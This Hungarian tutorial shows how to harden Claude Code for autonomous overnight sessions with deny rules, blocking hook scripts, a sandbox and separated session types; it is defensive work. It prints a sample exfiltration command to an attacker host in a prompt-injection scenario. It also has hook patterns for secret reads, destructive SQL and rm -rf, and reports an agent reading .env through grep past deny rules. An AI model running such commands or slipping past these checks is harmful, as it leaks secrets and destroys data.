Hogyan állítsuk be a Claude Code-ot, hogy ne tegye tönkre éjszaka a projektünket

Mi változott 2026-ban: az autonóm Claude Code és a valódi incidensek#

Korábban a Claude Code minden válasz után leállt, és minden írási művelethez engedélyt kért. Kényelmetlen volt, de biztonságos: fizikailag nem aludhattad át az incidenst, mert az ügynök megvárta a „igen” válaszodat. 2026-ban ez a modell megváltozott. Az Anthropic bevezette az auto-mode-ot — egy külön osztályozó ügynök dönt helyetted arról, hogy engedélyezze-e az egyes műveleteket. Megjelent a /loop parancs (amely meghatározott időközönként futtat egy promptot a munkameneten belül), valamint a /schedule (cron-szerű ütemezés hosszú futású feladatokhoz). A claude --bg paranccsal indított háttér-munkamenetek terminál nélkül futtatják az ügynököt a háttérben. Az autonóm módot részletesen bemutattam a „/goal a Claude Code-ban: autonóm mód és Agent View” című útmutatóban.

A probléma az, hogy az autonómia gyorsabban jelent meg, mint ahogy a biztonság felzárkózhatott volna.

Eközben az Anthropic tárhelyén két nyitott hiba van, amelyről tudnod kell, mielőtt hozzáadod a permissions.deny beállítást a settings.json fájlhoz:

• Issue #44868 (2026. április 7.): a Claude Code grep -n segítségével beolvassa a .env tartalmát a csevegési átiratba, annak ellenére, hogy a CLAUDE.md kifejezetten tiltja. A hiba nyitott.
• Issue #24846 (2026. február 11.): a .env* mintákra vonatkozó permissions.read.deny szabályok nem érvényesülnek — a Read beolvassa a .env.local fájlt a megfelelő deny minta ellenére. Duplikátumként zárták le, nem javították ki.

Ez a két rés megmutatja, miért elégtelen a settings.json egyetlen védelmi rétegként. Ezután négy réteg következik: permissions + hooks + sandbox + munkamenet-elválasztás. Mindegyik csökkenthet kitettséget, de egyik sem teszi teljessé a többit. Az idézett auto-mode értékelés nem bizonyítja, hogy a regex hook elkapja a kihagyásait. Éles rendszernél használj elkülönített operációsrendszer-környezetet éles hitelesítő adatok és írási hozzáférés nélkül, a modellen kívül kényszerítsd ki a hálózati korlátokat, és felügyelet nélküli futás előtt teszteld a határokat.

Mik a zöld és a piros projektzónák?#

Értelmetlen minden projekthez ugyanazt a védelmet kiépíteni. Egy olyan helyi hobbiprojekt a gépeden, amelyet nem telepítettél külső szolgáltatásba, egészen más kockázati szintet jelent, mint egy valódi fizetéseket kezelő és ügyféladatokat tároló szolgáltatás. Ha mindenhol ugyanazt a védelmet használod, a zöld zónában visszafogod a sebességet, a piros zónában pedig továbbra is réseket hagysz.

Egy projekt akkor vált zöldről pirosra, ha a három feltétel közül legalább egy teljesül: valódi ügyfelei lesznek, pénz kezd áramlani a rendszeren keresztül, vagy az adatbázisban személyes adatok vannak. Addig használhatod az auto-mode-ot, minimális számú hookot és sandbox nélkül. Ezután az útmutató teljes beállítása alapján kell újraépíteni a védelmet.

A fő elv: a védelem szintjét a zóna határozza meg. A fejlesztési szakasz nem számít. Egy teszt Stripe-fiókot használó hobbiprojekt a gépeden a zöld zónában van. Egy egyetlen fizető ügyféllel és regisztrációs űrlappal rendelkező szolgáltatás már a piros zónában van, akkor is, ha még mindig „vázlatnak” tűnik. A korai projekteknél gyakori csapda a zónák összekeverése: „még csak vázlat, a védelmet majd később hozzáadjuk”, aztán a jövő héten már fizet az első ügyfél.

Hogyan működik a permissions hierarchiája a settings.json fájlban?#

Az Anthropic a hivatalos dokumentációjában ismerteti a permissions kiértékelési hierarchiáját: először a deny szabályokat ellenőrzi, aztán az ask, végül az allow szabályokat — az első egyező szabály érvényesül. Ez azt jelenti, hogy a deny mindig felülírja az allow-t. Ha megtiltod a .env olvasását a ~/.claude/settings.json fájlban, valaki pedig allow szabályt állít be a projekt .claude/settings.json fájljában, a te tiltásod érvényesül, nem az ő engedélye.

Egy minimális, biztonságos, felhasználói szintű ~/.claude/settings.json példa:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Mi történik itt? Az első hat szabály megakadályozza a titkos fájlok olvasását az aktuális könyvtárban és annak összes alkönyvtárában. A *.pem és *.key SSL/TLS-kulcsok és SSH-kulcsok. A credentials*.json a felhőszolgáltatók által gyakran használt fájlnév. Az utolsó három rendszerkönyvtár SSH-kulcsokat, AWS-hitelesítési adatokat és GPG-kulcsokat tartalmaz.

A disableBypassPermissionsMode: "disable" kulcs letiltja a --dangerously-skip-permissions kapcsolót (más néven YOLO módot). Ezzel egyszer s mindenkorra megszüntethető az egyik hibafajta: ha véletlenül hozzáadod ezt a kapcsolót egy szkripthez vagy alias-hoz, a Claude Code nem fogadja el. Nem csupán eltávolítja — a “mode disabled by managed settings” hibát adja vissza.

Ezenkívül a 2.1.142-es verziótól a defaultMode: "auto" kulcsot figyelmen kívül hagyja, ha projekt- vagy helyi beállításokban szerepel. Ez attól a helyzettől véd, amikor „belépek valaki más tárházába, és az .claude/settings.json fájlja alapértelmezés szerint engedélyezi az automatikus módot.” Az Anthropic kifejezetten kijelentette, hogy a tárházak nem engedélyezhetik az auto-mode-ot a felhasználó beleegyezése nélkül.

Ez az első védelmi vonal. Nem állhatsz meg itt, mert két hiányossága van, amelyről a következőkben olvashatsz.

Miért nem elég a permissions.deny: 2 nyitott GitHub-issue#

Ha a permissions.deny működne, az útmutató az előző szakaszban véget érhetett volna. De nem működik.

Az issue (2026. április 7.) szerint a felhasználó kifejezetten megtiltotta a CLAUDE.md fájlban a .env, a .dev.vars és más titkokat tartalmazó fájlok olvasását. A Claude a Read használata helyett a grep -n SOMETHING .env parancsot futtatta. A grep -n parancs kiírja a teljes egyező sort a sorszámával együtt — a tényleges API-token is benne van. Ez a sor bekerül a tool_result mezőbe, megjelenik a munkamenet átiratában, és elmentődik az előzményekbe.

A bejelentés szerzője egy finom részletre hívja fel a figyelmet: a modell biztonsági reflexe csak azután lép működésbe, hogy a kimenet már létrejött, nem a parancs futtatása előtt. Más szóval, a Claude előbb lefuttatja a grep parancsot, megkapja a tokent tartalmazó sort, és kiírja a csevegésben — csak ezután veszi észre a hibáját, és „bocsánatot kér.” Addigra a token már bekerült a csevegési előzményekbe. Az egyetlen megoldás a kulcs cseréje.

Az issue (2026. február 11.) szerint a felhasználó a permissions.read.deny beállítást egy olyan listával konfigurálta, amely a **/.env* mintát is tartalmazta. Ezután megkérte a Claude-ot, hogy olvassa be a .env.local fájlt. A Read eszköz hiba nélkül lefutott, és kiírta a fájl tartalmát.

Az issue-t duplikátumként zárták le, de nem javították ki. Az útmutató írásának idején (2026 júniusában) még reprodukálható.

Következtetés: a settings.json 1. rétege nem felesleges erőfeszítés, de ezek a példák nem mérik, a véletlen olvasások mekkora részét akadályozza meg. De a Bash-en keresztüli parancsokat (cat .env, grep API_KEY .env, head .env), a szabályérvényesítési hibákat (issue #24846) vagy a .env fájlt tartalmazó commitra alkalmazott git diff vagy git show parancsokkal végrehajtott ügyes műveletsorokat nem állítja meg. Ezért van szükséged a második rétegre — a hookokra.

Hogyan blokkolhatják a hookok a felismert veszélyes műveleteket?#

A hookok más absztrakciós szinten működnek, mint a permissions. A permissions olyan szabályok, amelyeket a modell figyelembe vesz, amikor eldönti, mit tegyen. A hook máshogy működik: a modell úgy dönt, hogy meghív egy eszközt, a hook a modell és a rendszer között fut le, ellenőrzi a bemenetet, majd vagy engedélyezi, vagy blokkolja a műveletet. A modell nem vesz részt a hook döntésében — ez saját kezűleg írt shell-kód.

Az Anthropic a hivatalos hooks-dokumentációjában ismerteti a blokkolás működését:

Ez két dolgot jelent. Először is, egy megfelelően beállított blokkoló hook megtagadhatja az illeszkedő eszközhívást. A PreToolUse 2-es kilépési kódja ezt a hívást blokkolja; nem bizonyítja, hogy a szkript minden veszélyes egyenértékű parancsot felismer. Másodszor, érdemi üzenetet írhatsz a stderr-re, amit a Claude hibaként olvas, és megpróbál más megközelítést. Más szóval, a hook nem csupán „kerítés”; hanem „kerítés egy táblával, amely elmagyarázza, miért nem mehetsz át.”

Események, amelyek 2-es kilépési kóddal blokkolhatók:

• PreToolUse—blokkolja az eszközhívást végrehajtás előtt. A védekező hookok elsődleges eseménye.
• PermissionRequest—megtagadja az engedélyt egy olyan művelethez, amelynek végrehajtására a Claude engedélyt kért.
• UserPromptSubmit—blokkolja és törli a felhasználó promptját. Akkor hasznos, ha a prompt gyanús szöveget tartalmaz (például egy beültetett e-mailből származó prompt injectiont).
• Stop—megakadályozza, hogy a Claude lezárja a munkamenetet. „Loopként” használható, hogy az ügynök addig dolgozzon, amíg egy feltétel nem teljesül.
• PreCompact—blokkolja az automatikus kontextustömörítést. Akkor hasznos, ha a kézi döntésig meg akarod őrizni az átiratot.
• WorktreeCreate—elutasítja a worktree létrehozását. Ez megakadályozza, hogy a Claude váratlan helyre próbálja klónozni a tárházat.

A 2-es kilépési kód alternatívája a hookSpecificOutput.permissionDecision mezőt tartalmazó JSON visszaadása. A permissionDecision négy lehetséges értéket vehet fel:

• allow—kifejezetten engedélyezi a műveletet, megkerülve a szokásos engedélyezési folyamatot.
• deny—blokkolja a műveletet, ami a PreToolUse esetén egyenértékű a 2-es kilépési kóddal.
• ask—a felhasználóhoz továbbítja a döntést (megjelenik egy párbeszédablak).
• defer—a szokásos engedélyezési logikára bízza a döntést.

Ezzel a hook nagyobb irányítást kap, mint egy kilépési kóddal. A permissionDecision: "ask" segítségével a csendben végrehajtott műveleteket megerősítést igénylővé teheted anélkül, hogy teljesen blokkolnád őket. Én ezt használom az npm install <new package> parancsnál és a lockfile módosításainál.

Ha többet szeretnél megtudni a hookok működéséről és arról, melyik 31 esemény érhető el jelenleg a Claude Code-ban, olvasd el a külön útmutatómat: „Hooks a Claude Code-ban: 7 azonnal másolható szabály”. Most az autonóm munkához használható konkrét hookokat mutatom be.

Melyik 7 hookot használom az éjszakai munkához?#

Ez a második védelmi réteg, amely megerősíti az elsőt. Minden hook a .claude/hooks/ könyvtárba kerül, regisztrálásuk a .claude/settings.json fájlon keresztül történik, és a használatukhoz telepített jq szükséges.

1. hook: a .env, .pem és credentials.json fájlok olvasásának védelme

Kiválasztott Read-útvonalak és gyakori Bash-titokolvasó parancsok ellenőrzését adja hozzá. Nem kap el minden eszközt vagy minden titokolvasási módot. Fájl: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Olvasási hozzáférés titkokhoz shellen keresztül
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Cat/grep/head segítségével titkokat olvasó Bash
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Regisztrálás a .claude/settings.json fájlban:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Telepítés után futtasd a chmod +x .claude/hooks/block-secret-reads.sh parancsot. Teszt: kérd meg a Claude-ot, hogy olvassa be a .env.local fájlt — a fájl tartalma helyett a “Secret file. Use op:// references or env vars.” válaszüzenetet kapod.

2. hook: szó szerinti git push hívások blokkolása éjszakai munkamenetben

Felügyelet nélküli munkamenetben ez a példa óvatosan minden felismert szó szerinti git push hívást blokkol, a feature ágakra irányulókat is. Nem következtet az aktuális ágra, és nem dönti el, biztonságos-e a force kapcsoló. Fájl: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Regisztráld PreToolUse alatt Bash matcherrel. A felismert push parancsot blokkolja zászlók és ágnevek értelmezése helyett, ezért elkapja a git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main alakokat és a && vagy ; láncban lévő szó szerinti pushát. Ezek offline szövegillesztési példák, nem távoli tárolón futtatandó parancsok.

Ez továbbra is szöveges heurisztika. Git-aliasok, shellfüggvények, git -C ... push, összeállított parancsnevek, szkriptek és más eszközök megkerülhetik; nem teljes shell-értelmező. A védett ágak szabályait a Git-szerveren kényszerítsd ki, távolítsd el a megkerülésükre képes hitelesítő adatokat, és a felügyelet nélküli munkát éles írási hozzáférés nélküli, elkülönített környezetben futtasd. A hook kihagyott egyezése nem adhat éles jogosultságot.

3. hook: romboló SQL-műveletek blokkolása

Közvetlenül az adatbázis-törlési incidensekre ad választ. Fájl: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM WHERE nélkül
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE WHERE nélkül
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Regisztrálás: PreToolUse matcher: "Bash" beállítással. Figyeld meg a különbséget: a DROP és a DELETE WHERE nélkül teljesen blokkolva van, az UPDATE WHERE nélkül viszont ask-ra vált — néha lehet jogos oka (például migráció során minden rekordhoz beállítani egy flaget), de mindig kézi megerősítést igényel.

4. hook: az rm -rf szűrése

Az Anthropic dokumentációjának kanonikus példája, deny döntésre és indoklásra átalakítva:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * kifejezett hatókör nélkül
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

A hook engedélyezi az rm -rf node_modules, az rm -rf .next/cache és más, kifejezetten körülhatárolt törléseket. Az rm -rf ., rm -rf /, rm -rf ~ és az ezekhez hasonló, „mindent törlő” parancsokat blokkolja.

5. hook: új csomagok telepítésének megerősítése

Ez a hook az ellátásilánc-támadások ellen véd. Ha a Claude önállóan úgy dönt, hogy új függőséget ad hozzá, megjelenik egy párbeszédablak:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Függőségek telepítése lockfile-ból — engedélyezve
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Új csomagok hozzáadása
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

A hook lehetővé teszi, hogy a lockfile-ból történő telepítések megerősítés nélkül fussanak, míg új függőség hozzáadásához megerősítés szükséges.

6. hook: a package.json és a lockfile védelme

A függőségi jegyzék bármely módosítása jelzés arra, hogy valakinek ellenőriznie kell. Különösen, ha éjszaka történt.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Regisztráld a PreToolUse eseményhez Write|Edit matcherrel.

7. hook: végponttól végpontig tartó auditnapló minden Bash-hívásról

Ha valami félresikerül az éjszaka folyamán, teljes naplóra van szükséged az események sorrendjének megértéséhez. Regisztráld a settings.json fájlban (a hooknak nincs külön szkriptje; mindent a jq végez el):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

A .claude/audit.jsonl fájl soronként bővül. Reggel, az éjszakai /loop után futtasd a tail -n 100 .claude/audit.jsonl | jq parancsot, így láthatod, mit csinált az ügynök az egyes időpontokban. Ez elengedhetetlen az incidens utólagos elemzéséhez, mert a munkamenet átirata hosszú és nehezen olvasható lehet, az auditnapló viszont áttekinthető időrendet ad.

Hogyan védi a sandbox és a worktree-izoláció a hosszú munkameneteket?#

Ha a hookok „táblával ellátott kerítések”, akkor a sandbox „kerítés + vizesárok + drónháló.” Ez a negyedik védelmi réteg, amely azokat a helyzeteket fedi le, amikor a hookok átengednek egy műveletet, de a végrehajtása akkor sem okozhat kárt a környezeten kívül.

A sandboxolásról szóló blogbejegyzésében (2025. október 20.) az Anthropic belső mérésekről számol be:

Ez azt jelenti, hogy a /sandbox engedélyezésekor a Claude a műveletek 84%-ánál nem kér többé engedélyt, mert azok fizikailag nem juthatnak ki a sandboxból. Ez a sebesség szempontjából hasznos, de nem ez a legfőbb értéke.

A sandbox kétféle izolációt biztosít, és mindegyiknek megvan a maga szerepe:

Fájlrendszer-izoláció az engedélyezett könyvtárakra korlátozza az olvasást és az írást. Még ha egy hook nem veszi észre a /etc/hosts fájl írását vagy a ~/.ssh/id_rsa beolvasását, a sandbox akkor sem engedi át a rendszerhívást. Ez operációsrendszer-szintű védelem. Az alkalmazási réteg nem lát rá.

Hálózati izoláció csak a jóváhagyott szerverekhez engedélyez kapcsolatot. Ez kritikus fontosságú az adatszivárogtató támadások ellen. A forgatókönyv: egy beültetett fájlban lévő prompt injection ráveszi a Claude-ot a .env beolvasására (a hook nem kapja el, mert a beolvasás szokatlan útvonalon történt), majd a modell úgy dönt, hogy lefuttatja a curl -X POST attacker.com -d "$ENV_CONTENT" parancsot. Hálózati izoláció nélkül ez működik. Hálózati izolációval a curl nem éri el az attacker.com címet, mert a gazdagép nincs a listán.

Indítsd el a /sandbox paranccsal a Claude Code-on belül. A konfigurációt a ~/.claude/settings.json fájlban állítsd be:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

A claude --bg paranccsal indított hosszú háttér-munkamenetekhez adj worktree-izolációt a sandbox mellé. Ez a Claude Code beépített mechanizmusa: minden háttér-munkamenet automatikusan a saját .claude/worktrees/<name>/ könyvtárába kerül, külön ágra. Így a párhuzamos munkamenetek nem akadályozzák egymást, amikor ugyanazokba a fájlokba írnak. A worktree-izolációt részletesen bemutattam az „Agent View és Worktrees: a Claude Code autonóm módja” című útmutatóban.

A sandbox a visszajelzési folyamat része. Ha a Claude tudja, hogy a műveletei korlátozva vannak, gondosabban dolgozik, és érthetőbben közli a köztes lépéseit.

Hol működik az auto-mode 2026-ban, és hol nem?#

2026 márciusában az Anthropic „a kézi felülvizsgálat és a korlátozások nélküli működés közötti középútként” vezette be az auto-mode-ot. Ez egy különálló Sonnet 4.6 modell, amely végrehajtás előtt kritériumok alapján értékeli a Claude minden műveletét. Az Anthropic az Anthropic Engineering blogban ismertette a működését:

Az auto-mode-nak két fontos korlátja van:

• Ha egy munkamenetben 3 egymást követő vagy összesen 20 osztályozói elutasítás gyűlik össze, a modell leáll, és emberhez továbbítja az ügyet. Ez attól véd, hogy „a Claude körbe-körbe próbálkozzon, és ugyanannak a parancsnak 100 különböző megfogalmazásával próbáljon megkerülni egy korlátozást.”
• Az auto-mode engedélyez egy műveletet, ha az hasonlít az olyan tipikus esetek 93%-ára, amelyeket a felhasználók egyébként is jóváhagynak. Ez csökkenti az engedélyezési fáradtságot, de nem véd a szokatlan, veszélyes műveletektől.

És íme a legfontosabb szám, amelyre figyelned kell:

A közölt 17% annak az értékelésnek a tévesnegatív-aránya, nem minden saját projektművelet valószínűsége. Nem bizonyítja, hogy a mintahookok elkapják a kihagyott műveleteket. A piros zónában a felügyelet nélküli munka éles írásoktól és titkoktól kikényszerített elkülönítést, szerveroldali védett ágakat és e szabályokat megkerülni nem képes hitelesítő adatokat igényel.

Gyakorlati következtetés: a hookokat eldobható, helyreállítható környezetben kiegészítő ellenőrzésként használd. Még helyi projektben is lehetnek nem követett fájlok vagy hitelesítő adatok, amelyeket a Git nem állít vissza. A piros zónában a hook kihagyását valódi hozzáférési korlátoknak kell körülhatárolniuk; regexek gyűjteménye nem teszi az önkényes shell-végrehajtást determinisztikus biztonsági garanciává.

Miért érdemes három munkamenettípusra szétválasztani a kontextust?#

Három feladattípusnak soha nem szabad ugyanabban a munkamenetben lennie:

1. típus: személyes adatokkal való munka. A munkamenet hozzáfér az éles adatbázishoz, küldhet e-mailt, és láthatja a hitelesítési adatokat. NINCS hozzáférése külső dokumentumokhoz (e-mailekhez, PDF-ekhez, weboldalakhoz), és NEM KÜLDHET adatokat tetszőleges címekre.

2. típus: külső dokumentumok feldolgozása. A munkamenet feldolgozhatja a bejövő e-maileket, letölthet weboldalakat, és elolvashatja az e-mailekhez csatolt PDF-eket. NINCS hozzáférése a személyes adatokat tartalmazó adatbázishoz, és NEM KÜLDHET semmit külső helyre kifejezett megerősítés nélkül.

3. típus: külső közzététel. A munkamenet posztolhat a közösségi hálózatokon, e-mail-kampányokat küldhet, és pull requesteket hozhat létre. NINCS hozzáférése személyes adatokhoz, és NEM dolgoz fel bejövő tartalmat.

Miért kell őket szétválasztani? Ha egy munkamenet mindent elvégez, egy beültetett PDF-ben lévő prompt injection (egy versenytárs ügynökség „számlát” küldött) elég ahhoz, hogy az ügynök egyetlen menetben beolvassa az ügyfél-adatbázisodat, megkeresse az e-mail-címeiket, és elküldje őket egy támadó címére. A lánc minden művelete jogos a saját feladattípusában. Együtt adatszivárgást okoznak.

A gyakorlatban ez különböző .claude könyvtárakkal valósul meg a különböző feladattípusokhoz. Három konfigurációt tartok a gépemen: ~/projects/business-ops/.claude/ (1. típus, adatbázis-hozzáférés, a hálózat tiltva a belső API-k kivételével), ~/projects/inbox-parsing/.claude/ (2. típus, minden hálózati hozzáférés tiltva), ~/projects/social-posting/.claude/ (3. típus, hálózati hozzáférés engedélyezve a Telegram- és Slack-API-khoz). Mindegyik könyvtár külön projekt a Claude Code számára, saját jogosultságokkal és hookbeállításokkal.

Melyik 12 ellenőrzőpontot nézem át a /loop előtt?#

1. ~/.claude/settings.json felhasználói szintű deny szabállyal a következőkre: .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Ez az alap; nélküle a többi értelmetlen.

2. disableBypassPermissionsMode: "disable" a ~/.claude/settings.json fájlban. Egyszer s mindenkorra blokkolja a YOLO kapcsolót.

3. A block-secret-reads.sh példákat kiválasztott titokolvasó parancsokon teszteltük; a valódi titkok és éles hitelesítő adatok a felügyelet nélküli környezet számára hozzáférhetetlenek.

4. A block-force-push.sh példa a felismert szó szerinti pushokat zászlósorrendtől és céltól függetlenül blokkolja; a védett ágakat és megkerülést kizáró hitelesítő adatokat a Git-szerver kényszeríti ki.

5. A block-destructive-sql.sh hook a DROP TABLE, TRUNCATE és WHERE nélküli DELETE FROM műveletekre.

6. A block-rm-rf.sh hook a kifejezett hatókör nélkül futtatott rm -rf ellen.

7. Az ask-on-new-deps.sh hook az npm install <new package> parancshoz (az argumentumok nélkül futtatott npm install-tól elkülönítve).

8. Az ask-on-lockfile-change.sh hook a package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml és Cargo.toml fájlokba történő írásokhoz.

9. Általános audit.jsonl napló az összes Bash-, Write- és Edit-hívásról. Enélkül lehetetlen a későbbi incidenselemzés.

10. Minden hosszú háttér-munkamenet worktree-ben, nem a főágon fut: a claude --bg "task" automatikusan létrehoz egy worktree-t, de ellenőrizd, hogy a settings.json nem tartalmazza a worktree.bgIsolation: "none" beállítást.

11. /sandbox egy hosszú autonóm feladat indítása előtt. A fájlrendszer hozzáférése a projekt könyvtárára és a /tmp-re korlátozott. A hálózat api.anthropic.com, github.com és registry.npmjs.org allowlistet használ.

12. Ellenőrzési lépés a feladaton belül: minden jelentős módosítás után futtasd a tesztfuttatót vagy a lintet. Ha hibáznak, az ügynök nem folytatja, amíg ki nem javítják őket.

Az utolsó pont munkamódszer, nem eszközbeállítás. Adj a Claude-nak módot a munkája ellenőrzésére. Ellenőrzés nélkül az éjszaka dolgozó ügynök körbe-körbe jár: „azt hiszem, jól csináltam, folytatom”, és reggelig gyűjti a hibákat. Ellenőrzéssel addig nem folytatja, amíg az ellenőrzés sikeres nem lesz.

7 kerülendő hiba#

1. --dangerously-skip-permissions használata éles környezethez hozzáférő gépen. Browningstreet egyetlen „takaríts” paranccsal elveszítette az éles és a fejlesztői adatbázist. Egy hiba ára többórás helyreállítás, valamint olyan adatok elvesztése, amelyek nincsenek benne a biztonsági mentésben. Ha már megtörtént az incidens, nyisd meg a „Teendők, ha az AI törölt egy adatbázist: helyreállítási ellenőrzőlista” című útmutatót, és kövesd a 10 lépést sorrendben.

2. Kizárólag a CLAUDE.md fájlra hagyatkozni a biztonság terén. A #44868-as issue bebizonyította, hogy a modell előbb cselekszik, aztán kér bocsánatot. Egy szövegfájlban lévő útmutató nem blokkolja az eszközhívást. Megfelelően beállított hook blokkolhat illeszkedő hívásokat, a szélesebb határokat pedig operációsrendszer-, sandbox- és szolgáltatói hozzáférésvezérlés kényszeríti ki. A CLAUDE.md fontos a projektkontextushoz — külön írtam róla a „Hogyan konfiguráljuk helyesen a CLAUDE.md fájlt” című útmutatóban —, de nem véd meg az autonóm ügynöktől.

3. Kizárólag a settings.json fájlban lévő permissions.deny szabályra hagyatkozni hook nélkül. A #24846-os issue 2026 februárja óta nyitott. A .env* fájlokra vonatkozó deny szabály megkerülhető Bash-ben a grep paranccsal. A hook hozzáadhat ellenőrzéseket, de a titkokat a felügyelet nélküli környezetből is ki kell zárni; a regex nem teljes helyettesítője a hozzáférésvezérlésnek.

4. Az auto-mode és regex hookok éles elkülönítésnek tekintése. Az idézett tévesnegatív-arány értékelésspecifikus, a hooklefedettség hiányos. Távolítsd el az éles írási hitelesítő adatokat, és igazold a kikényszerített határt ahelyett, hogy minden veszélyes művelet elfogását feltételeznéd.

5. Új csomag telepítése npm install paranccsal, megerősítés nélkül. Az ellátásilánc-támadások valósak. A 2024–2026-os Tea-tags incidensek megmutatták, hogy léteznek több ezer letöltéssel rendelkező, gépelési hibákra építő utánzott csomagok. Allowlistre van szükséged.

6. A Bash-hívások naplózásának elmulasztása. Auditnapló nélkül nem fogod tudni megérteni, mi történt éjszaka. A csevegési átirat hosszú, nincs parancs szerint indexelve, és nem ad időrendet. A .claude/audit.jsonl mindkét problémát megoldja.

7. Worktree mellőzése a háttér-munkamenetekben. Az egy könyvtárban futó párhuzamos munkamenetek akadályozzák egymás munkáját. A Claude Code a 2.1.143-as verzió óta alapértelmezés szerint engedélyezett worktree.bgIsolation beállítással rendelkezik, de ellenőrizd a saját beállításaidat.

És a legfontosabb dolog, amelyet semmilyen hook vagy beállítás nem akadályozhat meg:

Ez a mondat nem a stílusról szól. Az éles környezet védelméért az felel, aki elindította az ügynököt. A Claude Code egy borotvaként működik: borotválkozhatsz vele, de meg is vághatod magad. A konfiguráció egy kérdésre ad választ: elég jól készítetted-e elő a környezetet ahhoz, hogy a borotva ne vágjon meg semmit, amit nem kellene?

Az incidens előtti előkészület a kontextusmérnökség része: előre korlátozod, mit tehet az ügynök, így szabadon elvégezheti, amit szeretnél.

További források az Ailoot oldalán érhetők el.